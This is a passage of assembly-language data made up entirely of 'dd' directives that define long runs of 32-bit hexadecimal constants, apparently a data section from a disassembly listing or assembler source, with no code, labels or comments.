		dd 88891956h, 4C28FE6Eh, 5D3E2B68h, 0CBE5A7A9h,	0E93A168Ch
		dd 796864DFh, 0DA15FFD8h, 4386A071h, 0FB166DD4h, 8057AAC9h
		dd 11888E77h, 8CE2D7D1h, 0F7F25D41h, 0E24AD755h, 0E765D44Fh
		dd 0B4D3EF50h, 0AA0F4D4Eh, 35919476h, 0B2D10C64h, 0A1F7FEFh
		dd 0A8932ACEh, 9D500FACh, 9C09A71Fh, 0D933F067h, 5354DB67h
		dd 0F2A5D23h, 0AD4681CCh, 0A7DC6121h, 926DCBF0h, 314EFFE2h
		dd 0B1A877C2h, 0F5A31BE0h, 0DC9AD97Eh, 0D9C3B8EAh, 65A5F6Eh
		dd 409D901Eh, 4D9C7AADh, 5D1FCEDCh, 9D74B4F2h, 0EAE370EEh
		dd 884CBCD4h, 48BF9435h, 4B5AB32Ch, 9F999B76h, 168AED02h
		dd 2B790703h, 25190BE7h, 0B8D1DCB2h, 0AD45AD2Bh, 0CA97A577h
		dd 25F996A5h, 55D5965h,	25D7743Ch, 0F564B6DAh, 470162D8h
		dd 233EF83Ch, 8B551C9Ah, 4EAEC40Bh, 0A4A0377Eh,	0F66B9365h
		dd 0DD1FAC4Bh, 0EFB896EFh, 88B86E6Eh, 147FF723h, 419FAEF7h
		dd 0B88BB3ECh, 0F569A3DEh, 0D06DD385h, 1DAD1CAFh, 0B441ABDFh
		dd 519DCAB3h, 59ADC05h,	844C633Eh, 26E5AD19h, 0BB2B0F4Eh
		dd 34B3B757h, 0E5AFEA1Dh, 0FA906933h, 8FA390ACh, 0AE4F32CCh
		dd 7E982B27h, 0B06EF2CEh, 5FE3B422h, 0F5699461h, 0DA3E98C4h
		dd 0B3149E75h, 0B8D9E62Ah, 44AF6960h, 3D51AACDh, 3B43A538h
		dd 0A3835AF6h, 0BDAA9A2Ch, 82BB35B4h, 866CB8C3h, 1D20E67Eh
		dd 9A61ABC9h, 4322B0B6h, 2DA93E55h, 227FC18Bh, 2C7B551Dh
		dd 0C4C04233h, 83C2296Fh, 0C273CCC7h, 0E2AC7F09h, 0B48DBC87h
		dd 0CBE31610h, 88F29D39h, 0AB3EE21Dh, 0B7CF08DDh, 780654CDh
		dd 78252E48h, 6B8F338Bh, 89E867A1h, 23D70990h, 0BFEED991h
		dd 0BCD6CB04h, 955E755Fh, 0FF1AB3FFh, 0D9CB557Ch, 209BE72Ah
		dd 540F50D5h, 5D549BDCh, 3FD8ED14h, 0AD65E2D5h,	70FBEFAh
		dd 36EF65EBh, 0B66D37ECh, 0A4A07EA8h, 9E0ACF49h, 805D618h
		dd 0D1A074E6h, 0BD57D451h, 0B8E3224Ah, 0EAEEA5AEh, 47B77142h
		dd 0AA49D3Ah, 0D4DC26BAh, 1B034B72h, 0D9EBADF4h, 78DADE25h
		dd 0A16C4256h, 8F2D6DB4h, 185D96D9h, 0EC0BE2F6h, 238739CBh
		dd 19C5515Dh, 8774F8EBh, 5DD115FDh, 4654F04Eh, 0E98D9FC5h
		dd 0B1EB468h, 0F6CE5227h, 81156F99h, 308C3B95h,	0F8CF905Ch
		dd 5FF7A41Dh, 0DB31E322h, 72A5B4EAh, 1C08C24Bh,	2822A95Bh
		dd 59BBF2ADh, 5089AA7Eh, 8235DC2Bh, 6B877B9Eh, 0E7ED3512h
		dd 7A25677Ch, 0AB392B84h, 0C66BF8F3h, 30028842h, 8BBA521Dh
		dd 86002644h, 809A8546h, 0A3E6EA1Fh, 2FCE625Fh,	765678EEh
		dd 795FBE64h, 3B051AE5h
		dd 0CA633EFCh, 0E9F7B59h, 0D1FFB53Ch, 5D3BA5E6h, 2E349D1Fh
		dd 0A892C697h, 842A892Eh, 2E69DE38h, 92D00733h,	0F677CA52h
		dd 6A665F2Eh, 0B3835162h, 3AED71F4h, 545511FEh,	144732A3h
		dd 9B1891D1h, 1F5D9E59h, 0F2E5FAB3h, 958357DCh,	0D2D3CA51h
		dd 0D6AD9943h, 54E6CC14h, 34CC8B9Bh, 0B7042149h, 746B9A4h
		dd 7648311Bh, 95209DB8h, 0C66C7E07h, 14087528h,	3968B275h
		dd 0AABF957Bh, 0AB86B867h, 0CB5E4AFAh, 41B6F5EEh, 86E47EAEh
		dd 0C8FC8E1Fh, 7E165795h, 0FD98460h, 3AAC2D36h,	0DFCEF7E0h
		dd 4DB68F25h, 0E76ECF19h, 0F299218Bh, 0AD4E7E99h, 984C2078h
		dd 597FB0CFh, 0C58B66F5h, 6521957Bh, 5C545DD3h,	0FD75F32h
		dd 51CA493Dh, 5D5CC655h, 6E204A75h, 0AAE764D3h,	8DA50570h
		dd 0F2518296h, 52D356A5h, 52A7EE27h, 895914D5h,	8272670h
		dd 0DB0F2554h, 654F1BDBh, 0D5D1C7CEh, 23B258C6h, 2A421069h
		dd 0D23BF252h, 4B90177Ch, 8484B4F7h, 0D127CA7Eh, 7B0EF82h
		dd 81D255D9h, 9931CAD7h, 0F354A9A1h, 47FB8EB6h,	0DF1880CFh
		dd 54C4FBFBh, 0B4977CF2h, 0CA23BA41h, 1D88F2B8h, 657EA2B3h
		dd 0D42B71FBh, 7C5CFC2Eh, 0EF101EFCh, 0EBC11A62h, 3B476985h
		dd 995F3AB5h, 0A136B3ADh, 18609B2h, 0FBFFE1BEh,	0D0E41639h
		dd 0A2291C55h, 356BD2D4h, 513175EBh, 0B03E4417h, 0B617E857h
		dd 0FEB86B74h, 8E99DE2Fh, 0FBBF4E7Ah, 0CED105B0h, 4C0BD5EDh
		dd 0D10A99BDh, 84869AF1h, 18D5535Fh, 8ED1F755h,	67B333ABh
		dd 0B0CC81F4h, 592FFA5Bh, 514A1CD7h, 95E68A98h,	6C579E58h
		dd 6BA258ACh, 5D61EC03h, 0B8FD37BDh, 2BFABCCDh,	7C27D6A5h
		dd 0B3D086EDh, 683EB98Eh, 12821798h, 0AA469AE0h, 0EDE7494Eh
		dd 871170ABh, 9A35A607h, 2729B17Ch, 5BA7434Eh, 98827570h
		dd 30EC2CC3h, 5CAF5A49h, 4FF73332h, 0AA548061h,	90544EFAh
		dd 0F8B44D18h, 1DAB1DC6h, 45297576h, 0C526CAD7h, 0FA4BDD8Eh
		dd 31BA38DDh, 2F91DA01h, 0BB1355F6h, 5FBEDFBCh,	437AC01h
		dd 0BC40292Ch, 6C3F03EBh, 0DDC27DBEh, 0F3922E37h, 0D6918C81h
		dd 70D712AAh, 783F205Fh, 475E48FCh, 74A3EB99h, 634FCE3Bh
		dd 8D17516Dh, 7E1F967Eh, 55191468h, 3755DF93h, 0A8A245B4h
		dd 64ECCC31h, 7DD7B15Bh, 0FB718BE0h, 0E4544CCEh, 7B0668D9h
		dd 7D00B312h, 0C6DD87E2h, 41A44186h, 0D6D16B6Dh, 0C2248163h
		dd 5DCDEBD7h, 59262573h, 0D59D50F2h, 869D8F8Dh,	267630B0h
		dd 62CFDD64h, 0F92CC672h, 0DB9CE07Ch, 0ED1A15FAh, 25D691FAh
		dd 3FF64FC6h, 3FE83309h, 0F0DE1F83h, 0F5A3EBE2h, 0AC34B7F9h
		dd 69B2F0E5h, 9E39B467h, 72FFBEFAh, 0EFB9EB85h,	0F473085Fh
		dd 0DF9BF018h, 441230B0h, 990D9112h, 0D881FE69h, 2D6C3D07h
		dd 43533FBCh, 0B257B49h, 0E1DF7FAAh, 9DC4A2ACh,	927ED2DAh
		dd 0B51DC3BFh, 232C46EAh, 6D169EC2h, 16EDFAF8h,	0A866BC2Bh
		dd 6D612AC6h, 0A64923BBh, 0FC1EDE82h, 8AE3623Ah, 8AC11465h
		dd 0DDE665AEh, 42FC8B9Ah, 0FA15A274h, 47A4AB7Ch, 956E2179h
		dd 98B00CCBh, 28211CA2h, 754F4445h, 0E311EFC1h,	95F93E57h
		dd 3CFBAD1Dh, 0CCC77F4Dh, 306E03E2h, 0C7D47C93h, 43487C47h
		dd 342E0EFBh, 23820758h, 0FA911F8Ch, 6255DB9h, 6F9A8572h
		dd 0C95D7586h, 0DBF706CBh, 464A5DA3h, 8D10C1F7h, 4D2A70E0h
		dd 7E8B9A7Ch, 2B06C0A5h, 2688BE00h, 0EBDE0536h,	74B04A04h
		dd 61696B45h, 0BDD9FC17h, 1323E089h, 3539D5A8h,	0E07CC577h
		dd 15A5D362h, 2A5D1F0Ch, 2D1A8BF7h, 0C57A4FE5h,	2B0C7F32h
		dd 0D3C34C67h, 0FAC88D0Ah, 0F83EF117h, 7CB1055h, 0E764F8B6h
		dd 395B419Eh, 650010B5h, 0DD35C3C6h, 918ABBF7h,	0D67E6B01h
		dd 0CBDEB386h, 8C8FC70Dh, 5C89654Ch, 0D3C0269Fh, 0FB46FEAAh
		dd 0CD69B3CFh, 3195DEABh, 6C7037D0h, 9AFF6233h,	2A18258Fh
		dd 2FB44BE4h, 0C9C3D141h, 5F7A0439h, 0F1AF47E7h, 54AED729h
		dd 0B4E4EBAFh, 56BE0921h, 5E50ECE1h, 1554FAB3h,	95940D48h
		dd 18510AA0h, 69036157h, 0BB59F043h, 0CBD1D4E5h, 72F9B0B3h
		dd 0B6D6AD14h, 0F9288B28h, 42E05558h, 8F1A74F5h, 253FD6Ch
		dd 0E8AB555Bh, 0D3BFE5C4h, 1D49B355h, 16933C3Fh, 0FA59C6B8h
		dd 6A2E338Dh, 65C787F6h, 0C5D453F4h, 6BF23D96h,	16637113h
		dd 29F93879h, 0C362ACE4h, 845F9675h, 526EFC8Bh,	59B532DEh
		dd 4865E820h, 0A571FA23h, 1D2E4AE5h, 0BC8BFA9Eh, 162D5193h
		dd 47EAE877h, 0F03D1629h, 7B57A9F3h, 0C3C318B7h, 91CA7B4Bh
		dd 453324FEh, 0C4CE5A2Fh, 511ED13Ah, 6DC40BF6h,	0CF5662D3h
		dd 0C1D0AF8Dh, 0A0D40E7Ah, 9478445Ch, 654FFF7Bh, 10B891DEh
		dd 899A65C8h, 7B729646h, 8DFF9B76h, 461EA916h, 5B8363B5h
		dd 0AD2ACE44h, 8EDC69BDh, 0E3AB8D72h, 88A27B41h, 185BFA3Ah
		dd 0EA8C5092h, 0CF17AB88h, 0BD5E6E9Dh, 7E9FBFEh, 606661AAh
		dd 0A256A443h, 4C6E3987h, 0C1C4D8B8h, 0EC75CBEFh, 6C337CAEh
		dd 382CA7D2h, 426CD0FCh, 8C93DFA7h, 4256B925h, 0A37BD094h
		dd 6D28DB85h, 9D87336Bh, 59D1DF87h, 0AAFC177Eh,	0E64752D5h
		dd 0AA2F5C0Fh, 3CF9CC96h, 0EDA4553Fh, 84A7700Ah, 20D49CEDh
		dd 5B33F2FDh, 81C80E33h, 1E5A4325h, 441F2E9Ch, 0AFDAAE4Eh
		dd 0EB6317C7h, 0E5432E6Bh, 0BF419748h, 1FE73877h, 0BC8C33Fh
		dd 0C0D6C33Dh, 0AAF3982Fh, 3247EDA5h, 49D74D71h, 0C1E17957h
		dd 4EC7D23Bh, 0B12F02A1h, 0FFAD728Dh, 0EA5AF2A4h, 4C7EFB45h
		dd 5713FEC5h, 5428D7FEh, 816B6DA0h, 0DC9CA645h,	9260F571h
		dd 0D2B0333h, 0D36AE064h, 1A3D6AC7h, 25F16C0Ah,	0A265C08Eh
		dd 1EF987BEh, 869E5634h, 42837210h, 5B644956h, 95EA995Fh
		dd 7F0A89A2h, 32BD02BEh, 64BF9EFCh, 0C0CF4D5Dh,	89267591h
		dd 0A8999A32h, 93F77112h, 0E921467Ah, 0E97E81ECh, 0C4731CCEh
		dd 64E586BBh, 4298872Bh, 0AC282C4Ch, 857C8DFDh,	0D9C7FAF3h
		dd 0AAAC6671h, 0BB56A9FBh, 24BF6F27h, 0C8EC9FAh, 7FCF90F2h
		dd 94A89720h, 54940D63h, 89B4E8F4h, 0E8D02AD6h,	0C9BFFBA0h
		dd 7F09D41Eh, 85B21C63h, 7A3C2D05h, 5F5360C7h, 0E3213C0Fh
		dd 0F3B57FABh, 0F7FFF83Dh, 0E56D21Dh, 96D37B12h, 0F4162656h
		dd 0FEE62513h, 0BECEDE6Dh, 7CDDF80h, 0AE82FF9h,	0C10D1B15h
		dd 2B09C2BAh, 0DE36753Bh, 299A0E0Dh, 0AE928613h, 0CCB4626Dh
		dd 8BBDA547h, 5A5440CBh, 0BDEA9EF9h, 7EDFAC4Fh,	20C9E77Fh
		dd 7B7B6F9Ch, 0FABF7FB6h, 45D6D872h, 0F850C555h, 0A4968160h
		dd 7C0F4598h, 362632E4h, 0FF724CB7h, 0B47F6B8Dh, 0FF20FF2Fh
		dd 7A7C7441h, 77F8F760h, 32BC1E95h, 0EB61C621h,	59B513Eh
		dd 92BA643Fh, 0AF8B57D0h, 0C3FF34A5h, 7AD5DF56h, 0FEB7548Eh
		dd 0F169151Fh, 60919716h, 0A00B77A4h, 0A0ACE471h, 4FB67CD6h
		dd 0B41E481Ah, 0F2C26CE8h, 5F4125C1h, 6FBB3EFCh, 0FAC0CA8Dh
		dd 70697A68h, 8F0EF8CEh, 9762D6D9h, 0C0633C6Bh,	9EEFF49Dh
		dd 0CDAFAC7Ah, 9C981178h, 0E7224C9Dh, 6C025E1Dh, 95699517h
		dd 52306A7Fh, 0EF0EB4B6h, 3E553EBFh, 0E7AE437Eh, 62B3A483h
		dd 68CD8141h, 0B20C334Ah, 0E34514F2h, 603877EDh, 0EE33FDF7h
		dd 66557BACh, 7F2D2395h, 471C45FAh, 0FBDE396Bh,	0F9E39E84h
		dd 0FC128180h, 0A68AAE85h, 0EBCE6AA5h, 8DEFC7B1h, 9802F456h
		dd 41506D4Dh, 9C950DD3h, 0FB6741A4h, 0D9FA0144h, 0F5CE613Ah
		dd 0B46BEA05h, 9E239B59h, 4303255Ah, 36A9E0AEh,	4677825Fh
		dd 0CC053507h, 338E968Ah
		dd 2524CA35h, 9077BE1Fh, 0E6DAAAF7h, 3EF7DF16h,	2D79C9F8h
		dd 3E7CFA37h, 0BFEA87Eh, 6A27A9D8h, 76D26DA8h, 5D59EB6Bh
		dd 0ECA47142h, 3509A50Fh, 97D92C9Bh, 50F1FA91h,	1694D109h
		dd 0B5258AABh, 0A2CD161Ah, 0DB294570h, 5F805B5Ch, 0A3F67ED9h
		dd 8B6E3B75h, 81A45A37h, 7F5CC84Bh, 0F0BFC0F0h,	77A1ED2Dh
		dd 18ADC7DBh, 0F6DFFA4Eh, 5D47CEB0h, 525E162Dh,	0CD9C60C4h
		dd 4C8D525Ah, 90DB5523h, 0C4C14ADEh, 3B888F02h,	0F5556E0Eh
		dd 0EBAFE38Ah, 2E5DD4BFh, 9AF5B0F8h, 0CC3AE06Dh, 7E847151h
		dd 0A58A3795h, 3A5FEFAEh, 8A5A9221h, 0E63EF979h, 186D394Eh
		dd 0E0E19BEFh, 33A4C5EAh, 14F1C85Fh, 828BB870h,	75EE5194h
		dd 165BBC41h, 63BDEC7Ch, 7532E35Bh, 0BBA7BC5Ah,	0EC36EB8Eh
		dd 14419C50h, 482DE938h, 210912BAh, 870896F4h, 3181586Ch
		dd 0DCCCDA32h, 76D8CA68h, 35202AE6h, 0F9B0431Ah, 0F2AE670h
		dd 0A241DA0Ch, 0AC103DBDh, 0D04C4EEEh, 754A95D1h, 9DFEDAB9h
		dd 9FF2FA2Eh, 5D5CE8EBh, 471F41C2h, 58958B13h, 0B0B6C0ABh
		dd 0BFB07AD1h, 5C6E968Eh, 190FC753h, 0CC3F5974h, 0D134F5ECh
		dd 0EDF20247h, 85CBB463h, 15CEEFBEh, 0CB0186BCh, 0A0D1BE84h
		dd 356EAE5Ah, 30CD498Fh, 28AB1F86h, 2EDBD02h, 595FB3F1h
		dd 9EF48297h, 0A86E0BC4h, 0E5DFAAEAh, 1F4F9E5Ah, 18231AF6h
		dd 384A177Bh, 0CD3B002Dh, 0ECE5D1C6h, 3E285709h, 78EBF0F0h
		dd 0BEF3F762h, 0A251898Ch, 0C70F5B7Fh, 0A8FDFB45h, 0EEF2F1C0h
		dd 0E7511E0Ah, 22A5FAAEh, 68352C71h, 3B031F78h,	15E51C5Ch
		dd 3C21CEF5h, 0CCD8F4B8h, 0D9E5C2EBh, 0F6B3C73Dh, 0E953BB26h
		dd 2858AF97h, 70BFF2E6h, 53F7B54Bh, 7E3193E3h, 0FAB52BC7h
		dd 67648E90h, 0D457A207h, 146689A8h, 0DDB57587h, 4B47FDBFh
		dd 173BDC8Ah, 11DFDE4Dh, 2D393D33h, 9C3DAABh, 0B711255Bh
		dd 5C6287E0h, 2BAB37F8h, 0BF7D529Dh, 0D5A53C75h, 36D281E7h
		dd 54E5F2C6h, 0AFDD3589h, 0B81E9225h, 0FCB2E972h, 870F2038h
		dd 0DB21EB34h, 762D9BD4h, 75E257FFh, 17F86061h,	0D48D514Ch
		dd 3EB84AE8h, 71D5FAAFh, 2D1F4BBAh, 27AB0387h, 3712175Dh
		dd 593DB1A5h, 50317D60h, 12F37D27h, 71B61405h, 3318F755h
		dd 0E44794D1h, 0C3188CABh, 12EF8488h, 44D2C04Dh, 19F06A29h
		dd 4616BDBAh, 64552FBDh, 0A87E11AFh, 9B43580Dh,	608A1698h
		dd 906A65B4h, 24DB3638h, 5FE7F333h, 0BD20C993h,	0BB8008AEh
		dd 786C5E39h, 0A8976DEAh, 52A79E72h, 6275159Dh,	4EE668ACh
		dd 58B659E7h, 79FEEBC0h, 0FEB924D7h, 4F2D8D2Ch,	7228DAB3h
		dd 0EA6E5D92h, 0F03A1093h, 325A7EA0h, 871D6ABAh, 57A1FF07h
		dd 5ABE5D46h, 4E639FACh, 0DD310276h, 646781EFh,	4217FE40h
		dd 0C16C5C9Eh, 2CEA8D0Ah, 953387E3h, 140FBF2Dh,	5A1F221Ch
		dd 0D6289785h, 0A554A591h, 0FBBE4BDAh, 0AB92DD0Eh, 7A082C0Ch
		dd 0CCCBA4BFh, 61A50BB7h, 3EBF65D7h, 956F320Fh,	3F7711Eh
		dd 2450A437h, 172FD0E5h, 35F4F750h, 0F324D952h,	0D8759FEEh
		dd 0E1D6A6ABh, 0B03F021Bh, 3B591FBh, 452C3DDDh,	3E19A655h
		dd 0ED6DCE5Ah, 0E05EDF65h, 7F3CB2D6h, 0F2D213F2h, 2ADDDC47h
		dd 1054CA33h, 0D7506C7Dh, 0F7ADFDF7h, 0D0CD4B6Dh, 6C5EB8Ch
		dd 0ACA26CDAh, 63C36B7Ah, 55B3DE59h, 0F160D563h, 0A84F24F0h
		dd 5991F7C6h, 0CE5D3E42h, 3D27609h, 1F3527D1h, 0C16360E3h
		dd 28DFCD72h, 9AFB1919h, 0F8A57659h, 4CAB5C0h, 0C3CF510Ch
		dd 63B407C1h, 81F6A66Fh, 0FF5B2B4Dh, 0F19FC524h, 5D76540Ch
		dd 345E477Eh, 5EAAD2B4h, 0D56E729Bh, 578AE654h,	0CD1799FEh
		dd 7DF7A1CDh, 6166F977h, 0FA45B340h, 0EC45B3CBh, 32FF859h
		dd 0CA19424Bh, 0E8D65AC5h, 5D5DCC4Ch, 87A568F1h, 68BF12E9h
		dd 7E3D6665h, 0F1A4D106h, 0EE61DAC0h, 120DDB1Dh, 2B18DC95h
		dd 2E736FFFh, 0F27CB533h, 199BD585h, 7A6BB2C2h,	0C3DC826Bh
		dd 7D21654Dh, 7E10C3CDh, 9F682860h, 7E956D2Ch, 0B38BB60Dh
		dd 79E8FE54h, 308A75Dh,	76CAE867h, 0A5A2AFB4h, 36E9B2A6h
		dd 43F114FEh, 9AE133E4h, 0ADBDF4EAh, 2F8EE750h,	0C94D1BD6h
		dd 0A868AB27h, 64D3B7DBh, 0EBB6475Ch, 0AADFFDBBh, 0D248004Fh
		dd 0DFF33D38h, 6CA6BDF3h, 539F5E8Ah, 90B82119h,	554A36D2h
		dd 3BD5A016h, 4626A36Fh, 5A881C5Ch, 3D1CA94Bh, 4C4EFAC8h
		dd 0BC080B4h, 0EFFE67A3h, 25B9A446h, 3A9855CDh,	0DF9AB626h
		dd 1968F9Dh, 75A97456h,	0F642FF78h, 2E92804Bh, 33C44081h
		dd 63B92A1h, 0DA8B880Fh, 416BBDF3h, 0E267956h, 0FF35CC68h
		dd 0CF7F70E8h, 3174FC51h, 8EDA4F99h, 5C6E4A51h,	6A7B6C75h
		dd 0AA4DA71Ah, 50832BE0h, 0D03D38F7h, 0CB15C373h, 0E8449CAh
		dd 0DA2221EAh, 873036C6h, 22FA68ACh, 0E49716AEh, 0EA47262h
		dd 0FC0A6F2Ah, 52CC4965h, 493ED41Ah, 0BCCF322Ah, 0C95AFBC9h
		dd 243194B4h, 1BF318C7h, 0F470A644h, 0E7AEAFFBh, 35D3DBEh
		dd 0F29727BAh, 72377735h, 16372331h, 0F0FC37CCh, 0F025C4C0h
		dd 36571942h, 265A5FA6h, 91AAF172h, 0A59D4A57h,	0FAA3B8F6h
		dd 0E4DB832Dh, 0AD2F759Ch, 0A62E87EEh, 0F4C0E821h, 6DD4ABE8h
		dd 186FEFFCh, 3EF51966h, 0AA3BECEBh, 5AD1F093h,	0B0FCC501h
		dd 0ACE9FC79h, 3989463Ah, 5B37B300h, 8DE27CD3h,	0BD652F39h
		dd 0C2DBEA18h, 0DF87DC6Eh, 5CD57A8Fh, 0C3051984h, 60EC311Ah
		dd 63A15FE0h, 56D2798Eh, 707BF37Fh, 93A52024h, 0FC763BBh
		dd 975E4A5h, 0D7033ADBh, 92E967D0h, 98F411FDh, 6EAAF123h
		dd 0B6730A31h, 0FB425D2Dh, 450503CFh, 9522306Fh, 0C330FB49h
		dd 31FA430h, 0B57F0717h, 0BF9926Fh, 7B4DC4F0h, 432C4355h
		dd 0E1F8CDDDh, 0B145F7F0h, 0DE343EBFh, 0D893D15h, 7B3D4BDFh
		dd 2F7A03CAh, 3278C84Ah, 82FE7324h, 43597B61h, 0D4CE2895h
		dd 525AB665h, 9866C89Eh, 0D3580AB6h, 6564C0BEh,	0AF23B475h
		dd 398D750Bh, 7B140722h, 8A23E8BFh, 4F167F4Dh, 0EF0424FBh
		dd 0ABA7808Ah, 6DDEFBACh, 0E811FBB7h, 394F4255h, 0C065BF56h
		dd 22EBF70Ch, 0BBB64A76h, 2ED5868Ah, 59DD9663h,	0FE928F06h
		dd 3DC1184Eh, 0B467A3E2h, 5D2A2557h, 41EF6F75h,	0C0E4B0A2h
		dd 0A23D9455h, 0B44AE6Ah, 4770587Eh, 7AEBC8DEh,	5417923Eh
		dd 0B3D491E2h, 0F989E5B8h, 0EAEE95EDh, 3B1B70A8h, 40CE2DE7h
		dd 4CEA0FC5h, 8B082A0Fh, 0A0C3B1E9h, 308977B5h,	607D1F9Dh
		dd 0E47A32EDh, 5534D87Eh, 2E0620D7h, 76749FABh,	52CFB730h
		dd 85FC5FE3h, 84364860h, 0D3123D1Bh, 1B89065Fh,	0DCAD9AFBh
		dd 3442BB8Bh, 11F886D4h, 0BBB9662Bh, 0AB4A54ACh, 0F212E632h
		dd 5EAF13A7h, 0FBD786CAh, 0E078C70Ah, 3D9A8BF7h, 90104526h
		dd 935A9F05h, 0E4060923h, 0B22FFD9h, 65B3BDADh,	9A6FE7E1h
		dd 0D7A2EC94h, 3D3D91A9h, 0F13E31D5h, 0A917CF43h, 0E4163AFAh
		dd 0D2818BE4h, 85CE5EA5h, 73C48A56h, 0B7CA05D7h, 24F4B45Bh
		dd 0F24BB89Fh, 56966534h, 0CDB9C459h, 8127DAD5h, 630DAAF9h
		dd 235A118Ch, 0FCF6F9EDh, 0E496F5EFh, 0E61F9EEAh, 0A047C278h
		dd 0AF9C1D11h, 0F0BB86E6h, 966BB41Dh, 0E707A933h, 0F29D6B35h
		dd 0A3C2AC14h, 0A685456Bh, 31E2C0FCh, 0F632AA3h, 2E8DC478h
		dd 2052D8A2h, 0D3770306h, 47BA1645h, 17905675h,	45719C48h
		dd 0D0C64CCh, 36A14A81h, 0BECF88A5h, 0D9EDBAA6h, 5E490719h
		dd 4473AD3Ch, 0B38BAB13h, 36CE85D4h, 1A2FC64Ah,	0FC34734Ch
		dd 0B10E3F75h, 3A06E15Ch
		dd 2D8A243Fh, 7E61B4Ah,	0BE8C7A95h, 151A524Ah, 72E1351h
		dd 0ABEFCA6Bh, 8704C7B9h, 0DF2E995Dh, 0D23F258Dh, 0A768F824h
		dd 77FAB65Eh, 0E4FC5DEh, 9E5395D6h, 84074DD4h, 5FBD6EECh
		dd 0C5313D56h, 0F7F93AE4h, 2636F68Dh, 97256E35h, 773A1784h
		dd 161577CDh, 598225FCh, 0C54031C3h, 65E07464h,	2A0BC2E2h
		dd 0A19BD024h, 0B2A450F5h, 0C85CB3C7h, 5A7FC4F1h, 23E42914h
		dd 754DDFA7h, 0D8312B36h, 8A23C4EEh, 85DE7C9Eh,	93811647h
		dd 41491652h, 39CA184Fh, 0AD130C43h, 125A8D43h,	0FF00688h
		dd 47D06271h, 0BB0A7C55h, 7E69E373h, 37E2C4D9h,	556B44C6h
		dd 2732DB5Ch, 4AFD03CFh, 9E4CA7F9h, 0F585E959h,	60BF1150h
		dd 0D2E2B353h, 2846297Ah, 6D2F942Dh, 0B2B4F9E7h, 70BF8121h
		dd 5D546B6Ch, 0D813EBA2h, 0E45A602Fh, 74395C5Eh, 17122DFBh
		dd 0C1078B30h, 7CE696E9h, 0B31CA11Ah, 0D3100C46h, 0F6F8B838h
		dd 2FACC29Ah, 0B65C24A1h, 826D7784h, 6F88791Bh,	7CA67E56h
		dd 4E38FE1Eh, 12E2C779h, 5F45A053h, 824571E2h, 0C8FB952Eh
		dd 0D81E5FD6h, 0CFBFA4F8h, 0A3BBBC42h, 8AD97BDEh, 79F1E5A2h
		dd 6CD8CF5Fh, 5F69E25Bh, 0E7FC6454h, 852A78FCh,	57E972F5h
		dd 2F9853DBh, 0E3558A82h, 9C3C732Bh, 0A9F212DEh, 1DCABC55h
		dd 15A3948Ch, 5CD38073h, 2C46E131h, 17C94D68h, 2D76E16Ah
		dd 0DC60C355h, 62992542h, 0D04C7917h, 0A42739C2h, 0CE63F88Dh
		dd 97072CBAh, 3C677968h, 32F550E3h, 7AB40342h, 21F8D485h
		dd 0BA2505F6h, 25771434h, 0C1FE013Ch, 0DADDB1Fh, 16707FAEh
		dd 0D7AC8BA0h, 0F4FF6A31h, 798A40E1h, 3742AFB5h, 2F89FE44h
		dd 0AE63CAEh, 87579855h, 7B651E8Eh, 0CE2265A5h,	5A6CE258h
		dd 4FE9F276h, 0FB0991B3h, 36D19A67h, 0A389BB7Eh, 8A2155CFh
		dd 9F3A6C61h, 9C6E8D2Ch, 0F7A7ECAAh, 882DA26h, 0EEA58B2Fh
		dd 6867C9A2h, 0A0F298DAh, 0C095FD11h, 693707C2h, 0B0B5DAD1h
		dd 0BC49EB44h, 0F4E89E64h, 0A66F9479h, 84B4934Dh, 0B77C23CFh
		dd 0EE51CC45h, 0F8F6ED53h, 0C085561Eh, 0A352525Fh, 0A6567285h
		dd 38FE10FCh, 95ED1BC7h, 0F101DBBCh, 11624EDAh,	0D10CE259h
		dd 0B1F631A6h, 9FC10FC3h, 3F0785C9h, 3D7BF7ADh,	0CF23F213h
		dd 0F1ED1C0Fh, 8AFA22ACh, 195D0C7Bh, 1A7E10D4h,	57AA2C78h
		dd 42CE5CC5h, 103139CBh, 0EB772BE0h, 49563879h,	15422620h
		dd 9F7E7E6Bh, 53A9C56Ah, 2EA2DE53h, 55E6826Bh, 85C32E30h
		dd 55F0FD87h, 4DC9F1E4h, 197CF64Ah, 80905E14h, 2C2AD272h
		dd 5E6230E7h, 0AEB19E21h, 0FA3D90ABh, 13BD2084h, 21D945F1h
		dd 0C92DC77Fh, 0C627C852h, 9B6C136Bh, 1FEE2CB3h, 0A5732278h
		dd 0F1214F39h, 0D419098Ch, 0C8177C25h, 4AEF1CDDh, 0D3A9532Bh
		dd 91FD6AE5h, 69BCDA28h, 0E30AFE99h, 6938F1FCh,	6C8AF4BCh
		dd 406E073Fh, 0F035970Bh, 4BEBD22Fh, 23865E70h,	2F835433h
		dd 0BE50787h, 0AD136E61h, 0AC186D0h, 0B8EF1EE7h, 0D43D4F7Ch
		dd 7C19F7C3h, 3E3918E7h, 126712C3h, 0B81C8CB5h,	0EA50F1A1h
		dd 2A87E3F8h, 9FD6D9Bh,	0B837DBCCh, 9ECF579h, 458674FCh
		dd 270995A7h, 657302DCh, 401876A4h, 0D57C5647h,	9F35B47Ch
		dd 7758B5E8h, 5137EA16h, 94BC9FC9h, 292654BBh, 98031D6Ah
		dd 83C63AD5h, 0ABD43123h, 0EE5FDEAAh, 0AC3B0DA5h, 0E9B7D919h
		dd 0F1FD4549h, 0F9491315h, 4CC25094h, 0A19C1EB3h, 6B555093h
		dd 0D2C5DEFAh, 2EBAD4EDh, 0F4E46253h, 7FD593FCh, 6BA907EDh
		dd 5CF568CFh, 0D3EFB527h, 80C1DBFDh, 2EBD2FA5h,	33981350h
		dd 43E9D4C5h, 83541E34h, 0B95E0901h, 37E0BC2Fh,	0CF6078C9h
		dd 0C173E727h, 0C22FFEE6h, 129197BBh, 0F8DCD4FAh, 0FC83D9A1h
		dd 27F3340Dh, 0AEF80A27h, 55F7959Dh, 17497797h,	8CDAADD3h
		dd 3EAC81F7h, 0BC0E2959h, 3DB08014h, 0D0159601h, 0FBFF52D5h
		dd 8A70B7F5h, 998255F4h, 0CF66CC2Dh, 0B8EF054Fh, 7B272B72h
		dd 0A1A3D974h, 0D83D849Ah, 5B3B6578h, 2A5650A1h, 0A4534609h
		dd 77F195E9h, 0D9A91707h, 9DEEF70Dh, 2362AC6Fh,	6F988A35h
		dd 2BF81511h, 0CCE717CAh, 0D3C91F44h, 18678ADEh, 5AE76EFAh
		dd 58D814E4h, 5632F79Ah, 2AAC49BFh, 6C942ABDh, 0FC5143Eh
		dd 34638F9Dh, 0F3C2E45Dh, 12FC03CFh, 0A6CC3B33h, 94957FEEh
